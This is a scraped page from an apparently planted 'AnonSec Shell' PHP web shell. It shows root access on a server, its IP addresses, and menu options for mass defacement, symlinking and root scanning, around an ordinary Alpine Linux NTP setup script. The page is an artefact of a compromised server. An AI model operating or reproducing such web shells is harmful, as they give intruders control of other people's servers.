AnonSec Shell
Server IP : 104.21.14.48  /  Your IP : 3.147.58.109   [ Reverse IP ]
Web Server : Apache
System : Linux 3692325a-ac93-3ed0-1e50-897ae3432556.secureserver.net 6.1.90-1.el9.elrepo.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 2 12:09:22 EDT 2024 x86_64
User : root ( 0)
PHP Version : 8.0.30.2
Disable Function : NONE
Domains : 0 Domains
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /sbin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /sbin/setup-ntp
#!/bin/sh

PREFIX=
: ${LIBDIR=$PREFIX/lib}
. "$LIBDIR/libalpine.sh"

usage() {
	cat >&$(( $1 + 1 ))<<-__EOF__
		usage: setup-ntp [-h] [busybox|openntpd|chrony|none]

		Setup NTP time synchronization

		options:
		 -h  Show this help

		 User is prompted if no NTP daemon is specified
	__EOF__
	exit $1
}

while getopts "hc:" opt; do
	case $opt in
		c) resp="$OPTARG";;
		h) usage 0;;
		'?') usage 1;;
	esac
done
shift $(( $OPTIND - 1 ))

: ${resp:=$1}

while [ $# -eq 0 ] && ! isin "$resp" busybox openntpd chrony none abort; do
	ask "Which NTP client to run? ('busybox', 'openntpd', 'chrony' or 'none')" chrony
done

pkgs="$resp"

case "$resp" in
	none|abort)
		exit 0
		;;
	busybox)
		pkgs=''
		svc=ntpd
		;;
	chrony)
		if apk info --installed --quiet acf-core; then
			pkgs="$pkgs acf-chrony"
		fi
		svc=chronyd
		;;
	openntpd)
		svc=openntpd
		;;
	*)
		echo "setup-ntp: '$resp' is not a supported NTP client" >&2
		usage 1
		;;
esac

[ -z "$pkgs" ] || apk add --quiet $pkgs
rc-update add $svc default
rc-service $svc start

Anon7 - 2022
AnonSec Team